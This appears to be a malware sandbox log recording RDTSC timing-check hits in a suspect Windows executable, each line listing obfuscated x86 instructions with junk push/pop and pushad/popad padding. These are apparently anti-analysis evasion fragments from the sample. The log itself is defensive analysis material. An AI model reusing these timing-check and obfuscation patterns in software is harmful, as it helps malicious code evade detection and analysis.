Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEB4A second address: ABEB5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA10EF189Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEB5B second address: ABEB65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FDA10746806h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEB65 second address: ABEB91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jc 00007FDA10EF18ADh 0x00000011 jmp 00007FDA10EF18A1h 0x00000016 je 00007FDA10EF1896h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEE84 second address: ABEE8E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDA10746806h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEE8E second address: ABEED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDA10EF18A6h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FDA10EF18A2h 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007FDA10EF18A0h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEED7 second address: ABEEE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 ja 00007FDA10746806h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEEE2 second address: ABEEEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEEEB second address: ABEEF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA1074680Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABF036 second address: ABF03C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABF03C second address: ABF052 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746812h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1E0F second address: AC1E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5420A second address: A54214 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54214 second address: A5421A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5421A second address: A5421E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5421E second address: A54255 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF189Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FDA10EF18A5h 0x00000011 jng 00007FDA10EF1896h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54255 second address: A5425B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5425B second address: A54286 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FDA10EF18A5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007FDA10EF189Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93512 second address: A93519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93519 second address: A9351F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9351F second address: A93575 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA1074680Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FDA10746808h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 sub di, C7B9h 0x0000002d lea eax, dword ptr [ebp+1248725Ah] 0x00000033 mov edx, dword ptr [ebp+122D38B7h] 0x00000039 push eax 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d jne 00007FDA10746806h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93575 second address: A71C6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FDA10EF189Ch 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 and ecx, dword ptr [ebp+122D30DFh] 0x00000018 call dword ptr [ebp+122D31C1h] 0x0000001e jc 00007FDA10EF18D4h 0x00000024 jmp 00007FDA10EF18A2h 0x00000029 pushad 0x0000002a jmp 00007FDA10EF18A2h 0x0000002f jmp 00007FDA10EF189Bh 0x00000034 jmp 00007FDA10EF189Dh 0x00000039 popad 0x0000003a push eax 0x0000003b push edx 0x0000003c jc 00007FDA10EF18B2h 0x00000042 jmp 00007FDA10EF18A6h 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93794 second address: A9379B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93ABE second address: 8DFC9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FDA10EF189Ch 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push edi 0x00000011 pushad 0x00000012 adc dx, 8430h 0x00000017 mov bx, di 0x0000001a popad 0x0000001b pop edi 0x0000001c push dword ptr [ebp+122D0F4Dh] 0x00000022 pushad 0x00000023 xor ebx, dword ptr [ebp+122D28AFh] 0x00000029 mov si, 5C52h 0x0000002d popad 0x0000002e call dword ptr [ebp+122D33D8h] 0x00000034 pushad 0x00000035 xor dword ptr [ebp+122D1CC0h], esi 0x0000003b xor eax, eax 0x0000003d ja 00007FDA10EF189Ch 0x00000043 mov dword ptr [ebp+122D1CC0h], ebx 0x00000049 mov edx, dword ptr [esp+28h] 0x0000004d jns 00007FDA10EF18A3h 0x00000053 mov dword ptr [ebp+122D3B73h], eax 0x00000059 jmp 00007FDA10EF18A9h 0x0000005e mov esi, 0000003Ch 0x00000063 clc 0x00000064 add esi, dword ptr [esp+24h] 0x00000068 cmc 0x00000069 lodsw 0x0000006b clc 0x0000006c add eax, dword ptr [esp+24h] 0x00000070 cld 0x00000071 mov dword ptr [ebp+122D2BF0h], esi 0x00000077 mov ebx, dword ptr [esp+24h] 0x0000007b pushad 0x0000007c mov dword ptr [ebp+122D1CC0h], edi 0x00000082 sub dword ptr [ebp+122D1CC0h], ecx 0x00000088 popad 0x00000089 push eax 0x0000008a push ebx 0x0000008b push edi 0x0000008c push eax 0x0000008d push edx 0x0000008e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93B3A second address: A93B3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93B3E second address: A93B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FDA10EF189Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93B58 second address: A93B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93B5C second address: A93B62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93B62 second address: A93B84 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDA1074680Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007FDA1074680Ch 0x00000016 jg 00007FDA10746806h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93B84 second address: A93BA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93BA1 second address: A93BAB instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDA10746806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93BAB second address: A93BB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FDA10EF1896h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93BB5 second address: A93BC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93BC7 second address: A93BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93BCB second address: A93BD1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93BD1 second address: A93BD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93BD7 second address: A93BDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93BDB second address: A93C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov cx, di 0x0000000c and cx, 4DEAh 0x00000011 call 00007FDA10EF1899h 0x00000016 pushad 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a pop edx 0x0000001b jp 00007FDA10EF189Ch 0x00000021 popad 0x00000022 push eax 0x00000023 jg 00007FDA10EF18A4h 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93C12 second address: A93C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93C16 second address: A93C50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jno 00007FDA10EF18A2h 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007FDA10EF18A3h 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93C50 second address: A93C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93C55 second address: A93C60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FDA10EF1896h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93CFD second address: A93D25 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDA10746806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FDA10746815h 0x00000010 pop eax 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93D25 second address: A93D29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93FA6 second address: A93FAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A94869 second address: A948AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007FDA10EF1898h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 lea eax, dword ptr [ebp+1248729Eh] 0x00000028 stc 0x00000029 jo 00007FDA10EF189Ch 0x0000002f mov dword ptr [ebp+122DB9DDh], ebx 0x00000035 push eax 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jg 00007FDA10EF1896h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A948AD second address: A948B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A481CB second address: A481CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A481CF second address: A481D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A481D5 second address: A481DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A481DB second address: A481ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDA1074680Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A481ED second address: A481F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A481F1 second address: A481F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A481F5 second address: A48200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48200 second address: A4822C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA10746811h 0x00000009 push eax 0x0000000a pop eax 0x0000000b jnl 00007FDA10746806h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jns 00007FDA10746806h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4822C second address: A48230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48230 second address: A48243 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA1074680Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48243 second address: A4824B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4824B second address: A4826C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746813h 0x00000007 jc 00007FDA10746806h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5A04 second address: AC5A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDA10EF18A6h 0x0000000a jmp 00007FDA10EF18A0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5A1E second address: AC5A2B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007FDA10746806h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5B61 second address: AC5B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5E5B second address: AC5E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA10746812h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6125 second address: AC6129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC90E second address: ACC938 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDA1074680Ch 0x00000008 pushad 0x00000009 jmp 00007FDA10746819h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACB54B second address: ACB59C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A6h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FDA10EF18A6h 0x00000011 jmp 00007FDA10EF18A4h 0x00000016 jg 00007FDA10EF1896h 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACBCB6 second address: ACBCCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnc 00007FDA10746812h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACBCCD second address: ACBCDE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDA10EF1898h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACB284 second address: ACB28F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACB28F second address: ACB295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACB295 second address: ACB299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACB299 second address: ACB2A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACBFDF second address: ACBFFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 jmp 00007FDA10746816h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC5F6 second address: ACC629 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDA10EF1896h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jbe 00007FDA10EF1896h 0x00000013 jmp 00007FDA10EF189Eh 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FDA10EF189Fh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC629 second address: ACC62F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC62F second address: ACC638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC638 second address: ACC63E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0EBB second address: AD0EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0EC1 second address: AD0EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0EC5 second address: AD0ECA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD14AA second address: AD14AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD163F second address: AD1645 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1645 second address: AD164A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1784 second address: AD17A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDA10EF18A3h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1924 second address: AD1928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1928 second address: AD192C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD192C second address: AD1940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA1074680Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1940 second address: AD1944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1944 second address: AD194A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0882 second address: AD088E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD088E second address: AD0892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5991 second address: AD5996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
